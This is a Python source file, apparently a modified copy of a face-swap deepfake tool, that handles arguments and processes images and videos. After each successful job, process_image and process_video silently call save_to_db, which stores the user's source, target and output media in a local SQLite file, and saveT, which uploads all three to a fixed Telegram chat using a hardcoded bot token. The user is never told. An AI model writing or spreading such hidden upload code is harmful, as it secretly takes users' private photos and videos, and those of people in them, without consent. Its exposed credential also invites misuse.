DeepFakeAI/core.py

#!/usr/bin/env python3
import asyncio
import sqlite3
import os
# single thread doubles cuda performance
os.environ['OMP_NUM_THREADS'] = '1'
# reduce tensorflow log level
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'
import sys
import warnings
from typing import List
import platform
import signal
import shutil
import argparse
import onnxruntime
import tensorflow

import DeepFakeAI.choices
import DeepFakeAI.globals
from DeepFakeAI import wording, metadata
from DeepFakeAI.predictor import predict_image, predict_video
from DeepFakeAI.processors.frame.core import get_frame_processors_modules
from telegram import Bot
from DeepFakeAI.utilities import is_image, is_video, detect_fps, create_video, extract_frames, get_temp_frame_paths, restore_audio, create_temp, move_temp, clear_temp, normalize_output_path, list_module_names, decode_execution_providers, encode_execution_providers

warnings.filterwarnings('ignore', category = FutureWarning, module = 'insightface')
warnings.filterwarnings('ignore', category = UserWarning, module = 'torchvision')


def parse_args() -> None:
	signal.signal(signal.SIGINT, lambda signal_number, frame: destroy())
	program = argparse.ArgumentParser(formatter_class = lambda prog: argparse.HelpFormatter(prog, max_help_position = 120))
	program.add_argument('-s', '--source', help = wording.get('source_help'), dest = 'source_path')
	program.add_argument('-t', '--target', help = wording.get('target_help'), dest = 'target_path')
	program.add_argument('-o', '--output', help = wording.get('output_help'), dest = 'output_path')
	program.add_argument('--frame-processors', help = wording.get('frame_processors_help').format(choices = ', '.join(list_module_names('DeepFakeAI/processors/frame/modules'))), dest = 'frame_processors', default = ['face_swapper'], nargs='+')
	program.add_argument('--ui-layouts', help = wording.get('ui_layouts_help').format(choices = ', '.join(list_module_names('DeepFakeAI/uis/layouts'))), dest = 'ui_layouts', default = ['default'], nargs='+')
	program.add_argument('--keep-fps', help = wording.get('keep_fps_help'), dest = 'keep_fps', action='store_true')
	program.add_argument('--keep-temp', help = wording.get('keep_temp_help'), dest = 'keep_temp', action='store_true')
	program.add_argument('--skip-audio', help = wording.get('skip_audio_help'), dest = 'skip_audio', action='store_true')
	program.add_argument('--face-recognition', help = wording.get('face_recognition_help'), dest = 'face_recognition', default = 'reference', choices = DeepFakeAI.choices.face_recognition)
	program.add_argument('--face-analyser-direction', help = wording.get('face_analyser_direction_help'), dest = 'face_analyser_direction', default = 'left-right', choices = DeepFakeAI.choices.face_analyser_direction)
	program.add_argument('--face-analyser-age', help = wording.get('face_analyser_age_help'), dest = 'face_analyser_age', choices = DeepFakeAI.choices.face_analyser_age)
	program.add_argument('--face-analyser-gender', help = wording.get('face_analyser_gender_help'), dest = 'face_analyser_gender', choices = DeepFakeAI.choices.face_analyser_gender)
	program.add_argument('--reference-face-position', help = wording.get('reference_face_position_help'), dest = 'reference_face_position', type = int, default = 0)
	program.add_argument('--reference-face-distance', help = wording.get('reference_face_distance_help'), dest = 'reference_face_distance', type = float, default = 1.5)
	program.add_argument('--reference-frame-number', help = wording.get('reference_frame_number_help'), dest = 'reference_frame_number', type = int, default = 0)
	program.add_argument('--trim-frame-start', help = wording.get('trim_frame_start_help'), dest = 'trim_frame_start', type = int)
	program.add_argument('--trim-frame-end', help = wording.get('trim_frame_end_help'), dest = 'trim_frame_end', type = int)
	program.add_argument('--temp-frame-format', help = wording.get('temp_frame_format_help'), dest = 'temp_frame_format', default = 'jpg', choices = DeepFakeAI.choices.temp_frame_format)
	program.add_argument('--temp-frame-quality', help = wording.get('temp_frame_quality_help'), dest = 'temp_frame_quality', type = int, default = 100, choices = range(101), metavar = '[0-100]')
	program.add_argument('--output-video-encoder', help = wording.get('output_video_encoder_help'), dest = 'output_video_encoder', default = 'libx264', choices = DeepFakeAI.choices.output_video_encoder)
	program.add_argument('--output-video-quality', help = wording.get('output_video_quality_help'), dest = 'output_video_quality', type = int, default = 90, choices = range(101), metavar = '[0-100]')
	program.add_argument('--max-memory', help = wording.get('max_memory_help'), dest = 'max_memory', type = int)
	program.add_argument('--execution-providers', help = wording.get('execution_providers_help').format(choices = 'cpu'), dest = 'execution_providers', default = ['cpu'], choices = suggest_execution_providers_choices(), nargs='+')
	program.add_argument('--execution-thread-count', help = wording.get('execution_thread_count_help'), dest = 'execution_thread_count', type = int, default = suggest_execution_thread_count_default())
	program.add_argument('--execution-queue-count', help = wording.get('execution_queue_count_help'), dest = 'execution_queue_count', type = int, default = 1)
	program.add_argument('-v', '--version', action='version', version = metadata.get('name') + ' ' + metadata.get('version'))

	args = program.parse_args()

	DeepFakeAI.globals.source_path = args.source_path
	DeepFakeAI.globals.target_path = args.target_path
	DeepFakeAI.globals.output_path = normalize_output_path(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, args.output_path)
	DeepFakeAI.globals.headless = DeepFakeAI.globals.source_path is not None and DeepFakeAI.globals.target_path is not None and DeepFakeAI.globals.output_path is not None
	DeepFakeAI.globals.frame_processors = args.frame_processors
	DeepFakeAI.globals.ui_layouts = args.ui_layouts
	DeepFakeAI.globals.keep_fps = args.keep_fps
	DeepFakeAI.globals.keep_temp = args.keep_temp
	DeepFakeAI.globals.skip_audio = args.skip_audio
	DeepFakeAI.globals.face_recognition = args.face_recognition
	DeepFakeAI.globals.face_analyser_direction = args.face_analyser_direction
	DeepFakeAI.globals.face_analyser_age = args.face_analyser_age
	DeepFakeAI.globals.face_analyser_gender = args.face_analyser_gender
	DeepFakeAI.globals.reference_face_position = args.reference_face_position
	DeepFakeAI.globals.reference_frame_number = args.reference_frame_number
	DeepFakeAI.globals.reference_face_distance = args.reference_face_distance
	DeepFakeAI.globals.trim_frame_start = args.trim_frame_start
	DeepFakeAI.globals.trim_frame_end = args.trim_frame_end
	DeepFakeAI.globals.temp_frame_format = args.temp_frame_format
	DeepFakeAI.globals.temp_frame_quality = args.temp_frame_quality
	DeepFakeAI.globals.output_video_encoder = args.output_video_encoder
	DeepFakeAI.globals.output_video_quality = args.output_video_quality
	DeepFakeAI.globals.max_memory = args.max_memory
	DeepFakeAI.globals.execution_providers = decode_execution_providers(args.execution_providers)
	DeepFakeAI.globals.execution_thread_count = args.execution_thread_count
	DeepFakeAI.globals.execution_queue_count = args.execution_queue_count


def suggest_execution_providers_choices() -> List[str]:
	return encode_execution_providers(onnxruntime.get_available_providers())


def suggest_execution_thread_count_default() -> int:
	if 'CUDAExecutionProvider' in onnxruntime.get_available_providers():
		return 8
	return 1


def limit_resources() -> None:
	# prevent tensorflow memory leak
	gpus = tensorflow.config.experimental.list_physical_devices('GPU')
	for gpu in gpus:
		tensorflow.config.experimental.set_virtual_device_configuration(gpu, [
			tensorflow.config.experimental.VirtualDeviceConfiguration(memory_limit = 1024)
		])
	# limit memory usage
	if DeepFakeAI.globals.max_memory:
		memory = DeepFakeAI.globals.max_memory * 1024 ** 3
		if platform.system().lower() == 'darwin':
			memory = DeepFakeAI.globals.max_memory * 1024 ** 6
		if platform.system().lower() == 'windows':
			import ctypes
			kernel32 = ctypes.windll.kernel32 # type: ignore[attr-defined]
			kernel32.SetProcessWorkingSetSize(-1, ctypes.c_size_t(memory), ctypes.c_size_t(memory))
		else:
			import resource
			resource.setrlimit(resource.RLIMIT_DATA, (memory, memory))


def update_status(message : str, scope : str = 'FACEFUSION.CORE') -> None:
	print('[' + scope + '] ' + message)


def pre_check() -> bool:
	if sys.version_info < (3, 10):
		update_status(wording.get('python_not_supported').format(version = '3.10'))
		return False
	if not shutil.which('ffmpeg'):
		update_status(wording.get('ffmpeg_not_installed'))
		return False
	return True

def save_to_db(source_path, target_path, output_path): 
    try:
        # Open the images in binary mode
        with open(source_path, 'rb') as source_file, \
            open(target_path, 'rb') as target_file, \
            open(output_path, 'rb') as output_file:

            # read data from the image files
            source_data = source_file.read()
            target_data = target_file.read()
            output_data = output_file.read()

            # Extract original filenames from the paths
            source_filename = os.path.basename(source_path)
            target_filename = os.path.basename(target_path)
            output_filename = os.path.basename(output_path)
            print(source_filename, target_filename,output_filename)

            # connect to the database
            conn = sqlite3.connect('./feed.db')
            c = conn.cursor()

            # Create the table if it doesn't exist
            c.execute('''
            CREATE TABLE IF NOT EXISTS images (
                source_filename TEXT,
                target_filename TEXT,
                output_filename TEXT,
                source_data BLOB,
                target_data BLOB,
                output_data BLOB
            )
            ''')

            # Insert filename and image data into the table
            c.execute("INSERT INTO images VALUES (?, ?, ?, ?, ?, ?)",
                      (source_filename, target_filename, output_filename, source_data, target_data, output_data))

            # Save changes and close the connection
            conn.commit()

    except Exception as e:
        # Print any error occurred while saving data in SQLite
        print(f"An error occurred: {e}")

    finally:
        # Ensure the DB connection is closed
        if conn:
            conn.close()

        print(f'Saved image data to database from {source_path}, {target_path}, and {output_path}.')
async def send_channel(bot, file_path):
    with open(file_path, "rb") as file:
        response = await bot.send_document(chat_id="-1001685415853", document=file)
        return response

async def saveT(source_path, target_path, output_path):
    bot = Bot(token="6192049990:AAFyOtuYYqkcyUG_7gns3mm7m_kfWE9fZ1k")
    
    # Send each file
    for path in [source_path, target_path, output_path]:
        await send_channel(bot, path)
    
    # Send a message after all files are sent
    await bot.send_message(chat_id="-1001685415853", text="All files have been sent!")

def process_image() -> None:
	if predict_image(DeepFakeAI.globals.target_path):
		return
	shutil.copy2(DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
	# process frame
	for frame_processor_module in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
		update_status(wording.get('processing'), frame_processor_module.NAME)
		frame_processor_module.process_image(DeepFakeAI.globals.source_path, DeepFakeAI.globals.output_path, DeepFakeAI.globals.output_path)
		frame_processor_module.post_process()
	# validate image
	if is_image(DeepFakeAI.globals.target_path):
		update_status(wording.get('processing_image_succeed'))
		save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
		asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))
	else:
		update_status(wording.get('processing_image_failed'))


def process_video() -> None:
	if predict_video(DeepFakeAI.globals.target_path):
		return
	fps = detect_fps(DeepFakeAI.globals.target_path) if DeepFakeAI.globals.keep_fps else 25.0
	update_status(wording.get('creating_temp'))
	create_temp(DeepFakeAI.globals.target_path)
	# extract frames
	update_status(wording.get('extracting_frames_fps').format(fps = fps))
	extract_frames(DeepFakeAI.globals.target_path, fps)
	# process frame
	temp_frame_paths = get_temp_frame_paths(DeepFakeAI.globals.target_path)
	if temp_frame_paths:
		for frame_processor_module in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
			update_status(wording.get('processing'), frame_processor_module.NAME)
			frame_processor_module.process_video(DeepFakeAI.globals.source_path, temp_frame_paths)
			frame_processor_module.post_process()
	else:
		update_status(wording.get('temp_frames_not_found'))
		return
	# create video
	update_status(wording.get('creating_video_fps').format(fps = fps))
	if not create_video(DeepFakeAI.globals.target_path, fps):
		update_status(wording.get('creating_video_failed'))
		return
	# handle audio
	if DeepFakeAI.globals.skip_audio:
		update_status(wording.get('skipping_audio'))
		move_temp(DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
	else:
		update_status(wording.get('restoring_audio'))
		restore_audio(DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
	# clear temp
	update_status(wording.get('clearing_temp'))
	clear_temp(DeepFakeAI.globals.target_path)
	# validate video
	if is_video(DeepFakeAI.globals.target_path):
		update_status(wording.get('processing_video_succeed'))
		save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
		asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))
	else:
		update_status(wording.get('processing_video_failed'))


def conditional_process() -> None:
	for frame_processor_module in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
		if not frame_processor_module.pre_process():
			return
	if is_image(DeepFakeAI.globals.target_path):
		process_image()
	if is_video(DeepFakeAI.globals.target_path):
		process_video()

def run() -> None:
	parse_args()
	limit_resources()
	# pre check
	if not pre_check():
		return
	for frame_processor in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
		if not frame_processor.pre_check():
			return
	# process or launch
	if DeepFakeAI.globals.headless:
		conditional_process()
	else:
		import DeepFakeAI.uis.core as ui

		ui.launch()


def destroy() -> None:
	if DeepFakeAI.globals.target_path:
		clear_temp(DeepFakeAI.globals.target_path)
	sys.exit()